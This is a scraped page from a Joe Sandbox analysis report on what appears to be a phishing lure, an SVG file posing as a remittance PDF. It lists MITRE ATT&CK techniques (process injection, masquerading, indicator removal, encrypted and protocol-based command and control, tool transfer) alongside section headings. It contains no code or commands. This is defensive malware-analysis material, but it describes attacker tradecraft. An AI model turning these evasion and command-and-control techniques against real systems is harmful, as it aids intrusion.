Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 51

Chrome Cache Entry: 52

Chrome Cache Entry: 53

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: chrome.exePID: 6252, Parent PID: 4100

General

File Activities

File Opened

File Created

File Deleted

File Moved

Windows Analysis Report
View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg